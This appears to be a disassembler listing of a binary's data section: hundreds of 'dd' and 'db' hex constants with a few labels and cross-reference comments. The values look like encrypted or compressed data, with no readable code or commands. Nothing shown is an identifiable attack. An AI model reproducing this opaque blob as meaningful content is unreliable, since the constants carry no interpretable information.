0FEB20FCEh, 0BED07860h, 0F1CD9769h, 24260423h, 0FFB24206h dd 9CDB4CC1h, 0BE321566h, 7A442831h, 1FC970ECh, 8AA12400h dd 7DDCF865h, 43BD7AF0h, 2A2190EBh, 0F3D1372h, 44321567h dd 0CBE2EA9Ah, 11321560h, 0ADE83452h, 0C1BBC2C4h, 24296C5Ah dd 1132198Fh, 9BA9AE66h, 8D7373F8h, 9D86D3C8h, 48B7D3DAh dd 0D734017Ch, 46BB1A06h, 0A9321566h, 16D994BCh, 0E9252603h dd 571A5D0Eh, 33BD1AB7h, 0F8321566h, 8832156Ah, 918DF64Dh dd 25933C2Fh, 0B0CD726Dh, 9977A099h, 43DB1372h, 3C321566h dd 0D68FF1D7h, 73DABCCh, 44321567h, 31B7989Fh, 0ED34015Dh dd 7D52C599h, 0A888C4E7h, 0AB531AEFh, 0A4B55E3h, 8FBB1A60h dd 4B321566h, 223214E8h, 1558E066h, 98327D9Ah, 0ADC71566h dd 22321568h, 0FB8C4ED9h, 87F8E890h, 0F00FC8B0h, 225ADC4Ah dd 71321576h, 23DE7EDh, 44321564h, 48537406h, 0F9C77566h dd 8832156Fh, 712C4B26h, 1A69E482h, 0EE534C8Ch, 9C16BCF3h dd 0C63D7560h, 22321563h, 6DC59400h, 8838FD0Ah, 0DC491566h dd 1CE0B216h, 0BF0A1A2Ah, 564BAC00h, 0C1BB7438h, 2426191Fh dd 11339D69h, 5C71566h, 5F180CE3h, 0AC3D7560h, 1132156Ch dd 8832108Fh, 42729966h, 0A354DC4Eh, 70F4E9B9h, 83DC599h dd 4432156Ch, 0CBB37306h, 9A54A349h, 8C5874A0h, 54327D93h dd 4ACA1566h, 11323566h, 8DB01A06h, 22321566h, 0A078C5E7h dd 0F8327F07h, 88321575h, 0A5C529A2h, 3CD01088h, 9845F7h dd 5C824BFCh, 0BB2AA382h, 3616BCF3h, 19DBEC60h, 0FE321566h dd 0B373D9A0h, 0AB56832Ah, 52AA0E3h, 8FBA1A60h, 24321566h dd 0F17444DEh, 94BB744Ch, 8E2615EBh, 442F9569h, 0A03D1566h dd 11321571h, 8832078Fh, 0D0E57866h, 0DC4EF18Ch, 52881E9Ah dd 10F42F24h, 2E9AE9B3h, 2239FC26h, 5A151566h, 0D304034Ah dd 0EB1242C1h, 2EB91A27h, 1E321566h, 883213EDh, 44B31A66h dd 4A321566h, 11320566h, 88229269h, 0CC3D1566h, 2232156Ch dd 1132108Fh, 0C10EA366h, 445A8464h, 42321466h, 11379369h dd 69881566h, 1645AC0Fh, 0CC34AA00h, 1158743Eh, 21A7EA9Fh dd 0BD340142h, 0F6F90EFh, 0F8CA1372h, 88321575h, 9566588Ah dd 8358FDB1h, 30396C64h, 9B146CE1h, 0CF892B1Dh, 3621F0D3h dd 16BA1A60h, 0E8321566h, 0FB3DEFECh, 0BFB974ADh, 1726108Fh dd 54EC9406h, 16583220h, 6519FCE7h, 70695150h, 0BC53A0EFh dd 56DB1372h, 41321566h, 0C94ACD2Dh, 621371B9h, 7E27D589h dd 0D454D819h, 1137FC47h, 4EF41566h, 0CDFCF07Ah, 361674FBh dd 8CB9EC60h, 8E26108Fh, 0CF547506h, 28DB74B0h, 0E6321566h dd 0D18D22D6h, 5517F63Fh, 11CD7425h, 921619EDh, 85DB11A2h dd 75321566h, 339550FBh, 38D8A60Bh, 211127AAh, 4B32ECE5h dd 220B59E2h, 1134FC66h, 6A81566h, 8AA009A3h, 0A3D39C37h dd 113211A7h, 8CDB9466h, 0C3321566h, 0AB6E316Ah, 43CA3162h dd 4AB3F7EFh, 44321562h, 2236FFE7h, 5B51566h, 84BB4942h dd 45BC1A42h, 0DB321566h, 0D103ED06h, 0A4B8AA06h, 7C884177h dd 4342F0BAh, 13C790EFh, 0D3D1372h, 4432156Eh, 22309169h dd 70521566h, 880EAD36h, 82BB1566h, 0A11611EDh, 775211A2h dd 4BB3E7EDh, 7EA770A9h, 6E8B4407h, 907D9F36h, 624C958Fh dd 96C39431h, 0BDDCF8Ah, 65314CA8h, 4EB33542h, 5C772878h dd 22389769h, 77521566h, 954D2EDh, 253CDBA7h, 9C52B800h dd 5970C5ABh, 2DC2FBE7h, 695349C0h, 7FA579FDh, 0AE4D354Bh dd 0AC76161Ch, 3B121046h, 0B9376FD9h, 716F820Ah, 88319169h dd 0CF541566h, 21B31AA0h, 1E321566h, 7753EFD9h, 68B36D16h dd 1A077642h, 0AA614B77h, 0E5725024h, 0C5E1E225h, 0C76A9DA5h dd 17D1D46Dh, 930FEA7h, 5CCCC88Dh, 79EC147Fh, 17DBEC06h dd 76321566h, 0D664FEE9h, 0CCB37436h, 42201FCEh, 0A8166165h dd 0F87AA31h, 0D5B33A8Ah, 1CE3572Fh, 9E5E229h, 540B9589h dd 61D59475h, 90034A12h, 880CBD91h, 1BCC1435h, 2232078Fh dd 4BE05E66h, 72BFCF5Fh, 21F8A6ABh, 0F579A55Dh, 0EEDE1794h dd 0B4B90D10h, 40F69642h, 223E9769h, 9D3D1566h, 88321560h dd 44329A69h, 9FBB1566h, 1726375Fh, 6150A706h, 44321577h dd 0CAA8CE3h, 35706816h, 6C830B64h, 0FA98D2DBh, 0DDB7744Dh dd 11769069h, 86DB1566h, 0E4321566h, 0B8AF3195h, 5E6579F4h dd 7F8438D3h, 4439FC4Dh, 62551566h, 0E3454B6Dh, 2B7F4084h dd 2425FD06h, 0CBCE1566h, 11321066h, 8832048Fh, 7B936466h dd 2ADA9093h, 0F6BBB5D9h, 5294E6Ch, 0CD63ACD7h, 26F39487h dd 90321566h, 8832118Fh, 603E9266h, 63E9C3Ah, 11321B8Fh dd 0A2CE9A66h, 0FE2FD250h, 9106FE03h, 469D88E5h, 0DAF8AA31h dd 381B296Eh, 786D1142h, 43F8D7E7h, 6152296Eh, 44321575h dd 78430280h, 68A26B40h, 6CFE6E8Fh, 0C5C05148h, 43A8C0A0h dd 0D415AE06h, 35452ADh, 965974A5h, 2220FC62h, 19A61566h dd 676875CDh, 933ECAD6h, 12BF9DDBh, 72B0701Dh, 0A39780EFh dd 4BDB1372h, 8A321566h, 0C227E19h, 0B1240CFBh, 76F963C8h dd 27DBB4FEh, 0D4321566h, 876F9E98h, 0C552110Ch, 0E73D795h dd 115A7468h, 0E8321576h, 44321C8Eh, 14923366h, 0C55A9F9Bh dd 71B9F0BAh, 605A7439h, 0AB32157Bh, 77523172h, 0EB31C4E7h dd 0AD327F07h, 2232156Fh, 0BB900366h, 0D7855CEDh, 0EDA7EA19h dd 0DA340142h, 206F90EFh, 9ADB1372h, 6F321566h, 64232B57h dd 5A574FD0h, 9684B70Ch, 8A21DE7Bh, 0E1BB4652h, 0DB9CFEFh dd 8CF69442h, 24321566h, 2232078Fh, 94833466h, 738FE50Ah dd 9816D100h, 2A9AF3h, 77834B9Bh, 0E9E909DFh, 1D162199h dd 0DE36D1E5h, 116CD58Eh, 85B01A66h, 0AD321566h, 2232156Eh dd 0E6CA0E2Eh, 8450654Bh, 0C5D79C33h, 223211A3h, 15DF9466h dd 0F321566h, 0CD6E314Ah, 0A63D3152h, 1132156Eh, 88309869h dd 25521566h, 0DE52B89Ah, 9EABE7DEh, 31637457h, 79FB4191h dd 6B73E4E7h, 0D0B310ACh, 82B52F71h, 476BDD4Fh, 27163122h dd 53B842ABh, 88321E8Fh, 99F27266h, 0E721ED91h, 0E37EA629h dd 36A4236h, 80B1315Ah, 2235FC62h, 45271566h, 3109995Fh dd 40DE94ACh, 0AB321566h, 15B3315Ah, 0A72C7F42h, 0AFB34E10h dd 541D0B0Ch, 0C2C7D9Ah, 0B4BB1566h, 45B81A42h, 0DA321566h dd 7752D556h, 5BADF5E7h, 4432078Fh, 0CF0C4066h, 0E545151Dh dd 0DF57BF7h, 0E39462C4h, 435D369Eh, 0F8CF60C8h, 88321574h dd 0C5CCD57h, 0C5E9228Ah, 948D861Ah, 53AA890Ch, 0CF3D3100h dd 22321567h, 1DB11A9Fh dd 87321566h, 443213E9h, 22B31A66h, 9A321566h, 1623152h dd 44361086h, 0E2B11566h, 35369262h, 8834FC3Ah, 0E0CE1566h dd 0FCE3E821h, 27ECFAE7h, 571B3381h, 3345AF34h, 0E0B30E28h dd 1AAAAA01h, 6168C267h, 44321572h, 29F980A6h, 54DEE31Dh dd 0EE0A8276h, 0ED1E016Dh, 0C88C4ED9h, 90D59C31h, 883211A1h dd 40DD9466h, 0A5321566h, 986E315Ah, 73D3172h, 44321564h dd 4A5A7406h, 9832150Dh, 8768315Ah, 443217EAh, 0A9537566h dd 53E6CDBh, 8821FC60h, 6EF91566h, 0F227A3ADh, 66138EB7h dd 52912A39h, 0A8A52159h, 0DDCDAC92h, 20CBEA99h, 0E060E9A6h dd 44321566h, 0A8C0143Ch, 3DB4F64h, 2F321566h, 3B75131Fh dd 0BC465AD6h, 69BEBD67h, 7F7E13FAh, 24FA2517h, 12897393h dd 0A962741Ah, 0B4F678D5h, 7C2BED6Bh, 0B52106Fh, 4B1F271Dh dd 894262C1h, 0C33D4DA0h, 22321573h, 113D9469h, 82DB1566h dd 0E2321566h, 48A46FB3h, 4FE229A9h, 0F06EA88h, 6F1621E7h dd 7A19B726h, 5119AA31h, 70033EC4h, 0ADF3E039h, 0F4B3756Eh dd 47869003h, 4903749Fh, 0C13D5F93h, 0DDCDEA15h, 113F9269h dd 80DB1566h, 98321566h, 87E0997Ch, 4718D1BAh, 165DBEFh dd 1BCA9C91h, 42CB7538h, 11329969h, 0E3D1566h, 44321566h dd 0B1CA7407h, 3526E235h, 8752863Dh, 0C28DD3D9h, 432BFA00h dd 4B162199h, 8836D1E7h, 4B521566h, 223216EFh, 0CAD79566h dd 0BCB34507h, 391C9C42h, 73309A52h, 113215DFh, 9E31466h dd 391C9C57h, 0CB524C52h, 1132156Fh, 4F8E6620h, 1C1FA15h dd 43C09EDBh, 0AC67439Eh, 88321562h, 456FFBEFh, 25DB4B94h dd 0C1321566h, 11558062h, 0CD64C86Ch, 26F49480h, 92321566h dd 0BCB51188h, 50BB4942h, 2238FC42h, 0B91E1566h, 56627017h dd 0A10395DAh, 20C79099h, 18DB1372h, 16321566h, 0E5AB8947h dd 0E0336DB1h, 13C780EDh, 0DB521372h, 1707AA00h, 0C9F5943Ch dd 705C516Ah, 0AA0B805Fh, 0C03D1372h, 2232153Bh, 35269E9Eh dd 9D59C31h, 443211A1h, 26F59466h, 96321566h, 716E315Ah dd 141621EDh, 2637F5EFh, 14321566h, 88321562h, 181611E1h dd 22339D69h, 41CA1566h, 8836AA31h, 0BCBB1566h, 7AF41439h dd 0ED80FC9Ah, 0E8CEEA99h, 4CDADDEDh, 30321566h, 0A9B278AAh dd 0EEAAD2EDh, 1A34F3D9h, 606EA07h, 15F6943Ch, 87321566h dd 44321FEEh, 2237FC66h, 9FB41566h, 330E35Fh, 0CD643152h dd 26F49480h, 90321566h, 883211A0h, 60069266h, 23BD1A3Ah dd 0E8321566h, 83B81A07h, 24321566h, 0A3C5A269h, 483A468Fh dd 84B9746Dh, 0A3BB4242h, 2236D2E7h, 0D6B11566h, 0AC0E9262h dd 4420FC3Ah, 4A5E1566h, 0A66EA5B0h, 0F1F39FEh, 16A8C893h dd 8AA00B63h, 3506EA93h, 8CF6963Eh, 268C7306h, 0A13D75BDh dd 11321566h, 0E953B3D2h, 5E2F90A1h, 22321372h, 47521566h dd 0D7CBAA69h, 4432058Eh, 0C5E11966h, 0ECF88E82h, 0C6410D10h dd 65AFD83h, 6EF095C7h, 94F57439h, 8E260787h, 44321566h dd 223AFC93h, 92BA1566h, 4F714086h, 0F9B107E6h, 24296DCEh dd 64B61A66h, 70321566h, 44289569h, 0CB521566h, 11321576h dd 58F9890Dh, 50875111h, 426163C0h, 647A88D4h, 0E9C8AA69h dd 0DCE888EBh, 42C7137Ch, 984CAC06h, 40B94A5Bh, 4423FD07h dd 1C881566h, 0A7DC5582h, 0C9AF4054h, 678EFAB0h, 0CBCFEA35h dd 1132156Dh, 9762192Ch, 0B550CAC0h, 7A3B840Fh, 1EE1EA07h dd 883206EBh, 443CFC66h, 8C681566h, 0D641AA37h, 38454916h dd 694B99D1h, 213B9099h, 0F8C71372h, 8832156Ah, 9D8DA24Fh dd 0EEB83EDh, 5ACF449Ah, 8B3BA8E5h, 4B561372h, 223099E4h dd 1DB81A66h, 87321566h, 443213E9h, 22BC1A66h, 0D6321566h dd 9C311CE3h, 44321460h, 4252ED66h, 0CBF39437h, 0D178AFA5h dd 44321E8Eh, 464E5F66h, 5C1D868Ah, 0CB057103h, 256C7406h dd 61B890EBh, 7752137Dh, 0D4A8CDE7h, 94CD749Ah, 0CBCC9E06h dd 11321560h, 0BF5961ECh, 0C953ADF6h, 394B6DD3h, 113FFC60h dd 0EF2E1566h, 461F9CD0h, 0D1FAA7EBh, 9CE3A72Ah, 9436DBDBh dd 0FA64ED60h, 7AD20212h, 0C03AFBA7h, 72DC9488h, 0A69E83Eh dd 0A336FBA7h, 0EAD67D90h, 0D6C51424h, 0ABB3E24Fh, 6A8B007Fh dd 9BD19406h, 0E90EFA12h, 60269E31h, 4236D1E5h, 71FAA269h dd 8832138Fh, 0AC699466h, 0CB55FEE8h, 1132156Fh, 0BAE91148h dd 1B6E4DEEh, 0A953742Ch, 53E6CDBh, 8821FC60h, 0CE9E1566h dd 0BA284547h, 5E2C79Fh, 2FCBA2F5h, 0B1E40273h, 0DDCDAC00h dd 953DEA99h, 8832156Bh, 44321D8Fh, 0ECC75B66h, 3010C1A0h dd 61F2249Eh, 4432156Ch, 7293BD9Ah, 726F42FCh, 0E852207Dh dd 44321E8Fh, 0CDAEFA66h, 0B6742584h, 4673703Eh, 8EB97307h dd 228B4407h, 10321566h, 88884797h, 45321566h, 78309FACh dd 0D902EC3Fh, 88339E69h, 11CB1566h, 223214DBh, 4CDC1466h dd 50851A06h, 44321D8Fh, 0DF502666h, 7D940F78h, 0BCCD746Dh dd 0D88847E1h, 132A9811h, 4B363132h, 0FFAE203Eh, 85C70DEBh dd 2BDB1D8Fh, 0C8321566h, 0BAFCFCF4h, 4B9334BBh, 68CED457h dd 0EE5D9069h, 82DBEA99h, 39321566h, 7C9FF13h, 6943B09Fh dd 8CDE94EDh, 0CD321566h, 0EB3316Ah, 0D3164F42h, 0D2374D0Dh dd 2459D742h, 72534E31h, 0E66C4D30h, 0E3D83B0h, 4432156Ch dd 0E9B37306h, 0AE3D6FA8h, 0D0B74B9h, 42261A6Fh, 22BF9169h dd 1DB1566h, 0A4321566h, 11F68830h, 0BDF20C59h, 0F7039601h dd 0D94F64F6h, 140DC5DFh, 0E2027D32h, 106ABEC9h, 8DDB4CAEh dd 0E1321566h, 9747E334h, 943DD56Dh, 8832154Eh, 4432048Fh dd 0F2FB2E66h, 0C5AB5C03h, 0E181CF79h, 72277175h, 0E5CB5F3Eh dd 53640E3h, 88321460h, 9CB97566h, 0D753EDEDh, 181EAF34h dd 62F355F8h, 0E8F8946Eh, 74387951h, 113215D8h, 0FE43C66h dd 86B34B94h, 28AC0C01h, 0F868C467h, 88321561h, 6D746F43h dd 43FDDCD6h, 11249469h, 99DB1566h, 0A4321566h, 3CB41502h dd 0EA3ED6CBh, 0F5744391h, 5F68F1AEh, 0C79B7D9Eh, 1DB960EDh dd 8CF69642h, 44269069h, 42521566h, 1139FC07h, 19D01566h dd 0FBBBFD2Ah, 9A6FDF1Dh, 2DB7418h, 20321566h, 4AC8A105h dd 0E7242851h, 0F365BC32h, 0F41E4C6Eh, 0D788D200h, 0D574B76Dh dd 43E8E2BCh, 0D2160991h, 0AEB35F2Ch, 0B8A660E7h, 11339069h dd 25CB1566h, 25879C9Fh, 42340152h, 0C2851A37h, 8753EC3Eh dd 443207EBh, 2EBF1A66h, 0F8321566h, 88321561h, 0A700999Ch dd 0A3875712h, 1132118Ah, 0AC1E9C66h, 0B92BD80Eh, 0CFB34865h dd 12CF0CABh, 0D5CE7BEFh, 54DB4306h, 0AC321566h, 45917472h dd 0C9D915B9h, 4ACFC772h, 7A4A31D6h, 0BF4E1BDDh, 660F7422h dd 4BDCFB88h, 2232D6E3h, 19B81A66h, 87321566h, 443217E4h dd 0DE537566h, 0CCEF2BE7h, 0D3DC8BBh, 443215CEh, 22339D69h dd 46CE1566h, 883215D9h, 44884766h, 23321566h, 4B089C94h dd 8826FC39h, 0F6A61566h, 5B55A0CFh, 25DC7B20h, 2AAA7812h dd 87E3BD6Ah, 0AD3D7936h, 11321567h, 818B449Ah, 0C5373649h dd 67338687h, 0C8C55C4Ch, 930FCA7h, 447251A7h, 7BFC14A6h dd 11339D69h, 1C71566h, 500674D3h, 6DDBEC60h, 1E32154Ah dd 88321CE0h, 0C5547566h, 921CA789h, 1EDB7412h, 0C2321566h dd 2E80728Eh, 0C2DD1FE5h, 0EB5C8F67h, 1ADB7D46h, 4BCDEA98h dd 223206E3h, 113CFC66h dd 7EAD1566h, 0F7AEE67Eh, 0E2B0E5EDh, 0A6060AC8h, 882C5D0Eh dd 60369C66h, 0D31621E7h, 4A09685Ah, 0B4C3E6E7h, 55DB2E1Bh dd 8F321566h, 4E3637AFh, 0AACCDF44h, 980424D5h, 76788BA9h dd 15679055h, 49C71372h, 4EDB16AEh, 0A6321566h, 209EAE3Ch dd 41EE0D1Fh, 0CF547555h, 28DA75A4h, 50321566h, 13A37E28h dd 1FFABF87h, 0A9544C27h, 145374A5h, 0D4CE2AEEh, 0FA64C54Fh dd 7ECE2AEEh, 0F86CE54Fh, 8832156Eh, 0E8124BECh, 0AD4B1B82h dd 1E22D5A7h, 88321AEFh, 41DA7566h, 0E321566h, 79CC4523h dd 0E96B433Ch, 0CDC7DD57h, 363640FBh, 113EFC60h, 5D931566h dd 225A093Dh, 0A5EDA49Dh, 110FDBB1h, 87321466h, 4433DEE5h dd 0A3CAE966h, 0AA89AE58h, 35B71ADDh, 24321567h, 22339469h dd 90CA1566h, 0C8D426A9h, 0FE607401h, 9A0EC7h, 12F5E7E7h dd 30620A71h, 2FC3162Eh, 0C717CD91h, 1462A647h, 3A0CD39Ch dd 0CD6AD767h, 72CA4F70h, 7BC9AE35h, 4979629Fh, 0AFF3168Dh dd 0F5F1946Eh, 98CDE466h, 4E334EBEh, 51B01A3Eh, 0CB321566h dd 11321576h, 9E07F545h, 0BAB1EBEBh, 154C22DFh, 54C4F7CBh dd 0BC53A0EFh, 0CE3D1372h, 22321561h, 11339169h, 3CA1566h dd 5037FCFBh, 2AB51A60h, 1E321566h, 883217EEh, 0BB537566h dd 7D8C4355h, 203AD176h, 0D6363112h, 1BC3943Fh, 0CB3AD176h dd 11321561h, 0A54D4F76h, 1336A34Eh, 0D8BB4A36h, 10BD1A39h dd 7D321566h, 443EFC06h, 0A6C31566h, 6FCDAB70h, 6364C729h dd 0A8B1A2A9h, 6269C62h, 0EE1611E7h, 0D0402775h, 7621EA4Bh dd 2ADBE014h, 0A6321566h, 1234D76Fh, 6F0DC04Bh, 362E98E3h dd 0F1F3EC60h, 8837FC64h, 66C81566h, 21BE4FF1h, 53DE4E3h dd 53D7560h, 44321566h, 43E39E00h, 15DE9636h, 0D01621EFh dd 0B19FE938h, 3C55F463h, 47FA147Bh, 9655F4D8h, 1AC23C7Bh dd 2232068Fh, 5D3E9366h, 0B1317B73h, 8662ACF7h, 9792EE21h dd 2A607D7Eh, 941651EFh, 0CF547506h, 223EFCB6h, 0EFE01566h dd 1EBB741Ch, 0A6F9D399h, 0CA53C792h, 1132156Dh, 0C8C93230h dd 0B6029B39h, 0CBC3FBB3h, 1132156Ah, 83CC507Ch, 957278EAh dd 80646ECDh, 1E53743Fh, 883214EBh, 0EEDBE966h, 42321564h dd 25E59400h, 8820FCB7h, 76B61566h, 3ABFF56Dh, 0BCDB26F6h dd 504B6432h, 0D1A1A7C0h, 2234FC07h, 515D1566h, 834AE4A5h dd 4471310Eh, 63E9C66h, 11339C69h, 0DAC71566h, 86B3F7EFh dd 22321562h, 9636FFE5h, 16E3172h, 4B523172h, 223215E8h dd 0C7FC9466h, 0E969295Ch, 0CFCBDC57h, 360348F3h, 1309E060h dd 88959169h, 0C73D1566h, 22321567h, 158F409Eh, 89321566h dd 601E9E8Ch, 2236D1E7h, 1E521566h, 88320FECh, 4426FD66h dd 96531566h, 542B7FD6h, 29576D1Dh, 9D7E858Dh, 566056ACh dd 0AF6956D5h, 0AC892953h, 458C4307h, 23321566h, 1DB4B97h dd 15321566h, 0C89F0401h, 9E7B5BA9h, 11F89193h, 0B32FBA8Ah dd 50102CEBh, 0ADB71A60h, 0E8CDEA99h, 0C2FDAC37h, 95C516E9h dd 1E2AAE35h, 0C8130457h, 33C3943Dh, 501AF3Ch, 4C9EFCE7h dd 0D9BB36ECh, 84BF1A3Fh, 0AD321566h, 22321561h, 19702C54h dd 5FC8D5Fh, 507F6CEBh, 0C3CDEC60h, 0E4BF9C9Eh, 61340164h dd 4432156Eh, 3062FCCAh, 1A52D7CDh, 0D2162199h, 4436D1E7h dd 27DB1566h, 41321566h, 755026F5h, 1D162199h, 4236D1E5h dd 70EC9E00h, 88359669h, 22521566h, 0DBBF8BD8h, 0F1BB4507h dd 88321163h, 40DA9666h, 7E1611E1h, 0F81621EFh, 88321568h dd 0C7558AA6h, 53A2F357h, 0E5040C1Bh, 86DB37A0h, 0A4321566h dd 5B3A01Dh, 0EA0CAEDAh, 3516064Fh, 0ADAF9EE1h, 2D340163h dd 113205E4h, 82B01A66h, 0AD321566h, 22321563h, 0A09D389h dd 888847CBh, 45321566h, 228A45BCh, 10321566h, 0D03A9EB6h dd 443FFC3Ch, 1BF11566h, 54CD7B7h, 1113F037h, 0CFF8481Ah dd 3630E0E3h, 1BB61A60h, 0E8321566h, 0CB3D4B35h, 22321566h dd 0E9D2C407h, 0A45B9065h, 22521372h, 5FF7F7E7h, 1132018Fh dd 2CCBB766h, 3B92D04h, 78E62BCCh, 0F7ED5FCDh, 7C098C00h dd 75CA74D3h, 0CC5AE990h, 98321570h, 0D0643162h, 5EBA1A38h dd 42321566h, 1132058Eh, 30F9D166h, 0BA26584Ah, 0A101D722h dd 8955CB7Bh, 7AB94CDAh, 0BC9F7307h, 2D30F5A7h, 113214E9h dd 0D31EC66h, 42261A97h, 2232048Fh, 0C96E5666h, 26E572D5h dd 0C6BAB9A2h, 4424890Eh, 0E103912Fh, 7803D357h, 69C7B89Eh dd 16E8293Bh, 82D0163h, 0A5FA140Ah, 282B0A72h, 0F80E4863h dd 1E527552h db 0D1h byte_5C3A41 db 0CCh, 53h ; DATA XREF: ___:off_438438o byte_5C3A43 db 61h ; DATA XREF: ___:off_43A570o dword_5C3A44 dd 4432156Ch, 0A43A9C4Dh, 0A6941230h, 77530FD4h, 0C76C3152h ; DATA XREF: ___:off_43A568o dd 24DB11A2h, 6D321566h db 13h, 66h, 27h db 0E3h dd 1D8F9650h, 2334014Ah, 11E39169h, 0EE521566h, 0B8C3FEE7h dd 0AF3D749Ah, 11321567h, 0CDBF2E9Ah, 4B340177h, 2232A3E2h dd 9C09E966h, 8E261C57h, 449B9169h, 19CA1566h, 50694EBh dd 14B61A60h, 4B321566h, 22320FE5h, 5B11A66h, 61321566h dd 44321569h, 8E66A7C7h, 93EA305Eh, 976A04FEh, 0C9E06258h dd 39E4D5FBh, 16BF1A60h, 0E8321566h, 0FB3D7406h, 0F1CD7495h dd 0E6B3759Fh, 0D035670Dh, 4432188Eh, 198BBF66h, 0EA4AD4B2h dd 0FC9919F5h, 4DDBE00Ch, 9E321566h, 0EA4269B0h, 6904390Dh dd 1463743Fh, 7BFD9C3Fh, 0CCB79C93h, 61340179h, 44321568h dd 0C0E0163Fh, 32E7EC13h, 0C128969Ch, 0C13D11E6h, 22321562h dd 70C89E06h, 8812DF8Fh, 8EB87566h, 22369069h, 0A8541566h dd 5538F03h, 5FE4D5FBh, 2CB11A60h, 0F8321566h, 8832156Fh dd 0B593BEA1h, 648A0088h, 0F8E1EA99h, 8832156Dh, 666C293Bh dd 48F47935h, 0E45653B9h, 0A46BA8E5h, 4B321372h, 22327DE2h dd 6BE1A66h, 0E8321566h, 44321F8Fh, 2C788D66h, 9E35F0A1h dd 90F429Ch, 1B3E7CA1h, 0A709746Eh, 17261D57h, 88009169h dd 54DB1566h, 0B7321566h, 0BB0D85F2h, 224CF5E0h, 47C4DD39h dd 19A6E927h, 53204E3h, 96B71A60h, 4B321566h, 22321EE8h dd 1134FC66h, 6B561566h, 669B0C60h, 0DDCCFF8Fh, 77CA7599h dd 510AFCE7h, 0C5B72E07h, 2D340143h, 1132B5E3h, 883EFC66h dd 85161566h, 4F6359CEh, 0DC775695h, 35B190A2h, 422607ABh dd 73B61A66h, 71321566h, 883DFC9Ah, 175D1566h, 8E7645EDh dd 1A3EE66Eh, 8FB9E4Ch, 0C7C774E2h, 363244DBh, 953D1560h dd 8832153Bh, 0B3B97306h, 2232078Eh, 942F9D66h, 0CB220466h dd 0F65ECAB6h, 0BB291257h, 0F94F74C0h, 8832156Fh, 3FEE37D7h dd 68F8E317h, 70684BBEh, 0C2AE90EBh, 54DB137Dh, 81321566h dd 176302A0h, 4037B989h, 3B8B63FAh, 0CB9FB154h, 0EECDEB21h dd 88399169h, 0C4521566h, 0A23D9F88h, 11321566h, 9B72E07h dd 4B340143h, 0DDCC3FE2h, 0ACB1E999h, 8E296DEAh, 6EB71A67h dd 0CB321566h, 11321563h, 74E3631h, 84B72E7Fh, 2D340E1Eh dd 113201E3h, 0DBFE066h, 446B1E82h, 0F48D1A06h, 0F853DED1h dd 77CDEB54h, 4BCD249Ah, 223200EEh, 9A547566h, 8839FCBFh dd 2E841566h, 0A2715589h, 3D3CB4D8h, 35B174ADh, 42263EF3h dd 8BB61A66h, 1E321577h, 88321EE9h, 0ADB37566h, 704C32EEh dd 70ED9E00h, 8832188Fh, 86467666h, 2DCEF7E5h, 0E218F60Eh dd 0D09A4F0h, 42296DCAh, 22729069h, 3DB1566h, 0D0321566h dd 2F58BFDDh, 0EAE2237Bh, 48351A07h, 0F5194CF7h, 0A5B79EFDh dd 0CB340162h, 11321572h, 0EFADD57Fh, 0D4D424E5h, 142B6817h dd 0FA10D392h, 0AAD91EBDh, 0BB63DAE1h, 0A56B3162h, 9409E9A9h dd 8E296DD2h, 44649069h, 0AB3D1566h, 11321567h, 81B79E9Ah dd 4B340157h, 22321DEDh, 13B61A66h, 0E8321566h, 0BB8F4007h dd 0BCDEA99h, 0F9524889h, 88321577h, 0F0406B9Eh, 0E96DF6EDh dd 81F3A933h, 26002C24h, 4420FCDFh, 52B71566h, 6CCB18ECh dd 15863937h, 22A6468Ch, 1F87CA09h, 70E89F39h, 0F082905Dh dd 0C13D137Dh, 2232152Ch, 0D4B79E9Ah, 0E8340174h, 0ADCDA269h dd 22321577h, 4D80AC75h, 303C60DFh, 75E880FFh, 0D18286D9h dd 0A86374D2h, 0A530676Dh, 0C9C4D4E7h, 0ED33C79Bh, 0A63D753Fh dd 84DA75A1h, 0C3321566h, 0E5BA4279h, 5C4DAFE9h, 0D3A64453h dd 0C1097407h, 24296DDEh, 11649069h, 82DB1566h, 30321566h dd 0B98E125Ah, 1E160004h, 883CFC66h, 58CE1566h, 7F613C5Dh dd 0BE0E4921h, 3348CD4Bh, 496390EDh, 42CA1372h, 4DEB9537h dd 60B37339h, 1553AC7Eh, 223214DFh, 48FD1466h, 88321D8Fh dd 83A77166h, 6FD9C954h, 0E0B9750Fh, 819CAD06h, 25534888h dd 5A8E905Dh, 943D137Dh, 8832152Bh, 4432018Fh, 0B19B6D66h dd 0BF2F869Ch, 8B38AAB4h, 0FEA7ECD3h, 6928604Bh, 10B61A97h dd 74321566h, 691F90EDh, 30DB1372h, 0F4321566h, 0CDD76883h dd 0B9E81C59h, 0CA704CA0h, 0B34E1D49h, 0FE8C43AEh, 0C571C36Ah dd 0F43E6088h, 4FC51425h, 48B72E9Eh, 4B340E1Eh, 223270E3h dd 1E607566h, 883215E6h, 4DDB4B66h, 7321566h, 0D702778Ah dd 0B2BD5230h, 79B79E07h, 0DE34016Ah, 11321C8Fh, 9A0C5566h dd 0F749A33Fh, 9A62D1DEh, 2470342Dh, 0BDEAE226h, 8E8FCBD3h dd 2D6AD267h, 113235E5h, 0A3D7566h, 44321566h, 2232068Fh dd 5739FD66h, 179940FEh, 37A185DEh, 9450573Dh, 4790DFB8h dd 0D09E907h, 42296DA2h, 225E9069h, 2DB1566h, 8C321566h dd 0FC88AB4Dh, 7A7EF403h, 14C01576h, 5D08DE98h, 0C1B96980h dd 242600A3h, 0E7B37306h, 84DBECABh, 0A8321566h, 539F6192h dd 8A549D96h, 0E973BD7Ah, 0BBCDAB30h, 0D51BEA99h, 14BF1A38h dd 0E8321566h, 25F4AA69h, 31DB7506h, 51321566h, 0A745E4AEh dd 0BFC46527h, 408F34C7h, 0CB168FF1h, 0A3DC56Ch, 44321566h dd 0A7097407h, 17296DAEh, 88439069h, 4B521566h, 223213ECh dd 0F0DC9466h, 7162C48Fh, 0C1B9EC07h, 24261AB7h, 11389F69h dd 8DDB1566h, 18321566h, 0B70BAA31h, 101AAE35h, 5BC51199h dd 0BAE4FEE7h, 0FD33EE66h, 953D753Dh, 88321565h, 0ACF9A269h dd 2232156Dh, 347AF86Bh, 0D7C2EB4Eh, 228DBA18h, 0B5C0C7E7h dd 973D743Fh, 88321575h, 44321B8Fh, 5597DA66h, 40D794E5h dd 739D6FC2h, 7F5A6D6Eh, 394AD9E3h, 3AB71A60h, 0E8321566h dd 25CAC2EDh, 3FB790EDh, 71521372h, 4D2CFEE7h, 0C43D4D27h dd 22321566h, 0A8637407h, 88321567h, 4B6BDA67h, 223214E2h dd 9409EC66h, 8E296DB6h, 440A9069h, 30DB1566h, 79321566h dd 2A284767h, 0AA9BDE0h, 5FD7F0BBh, 180D5083h, 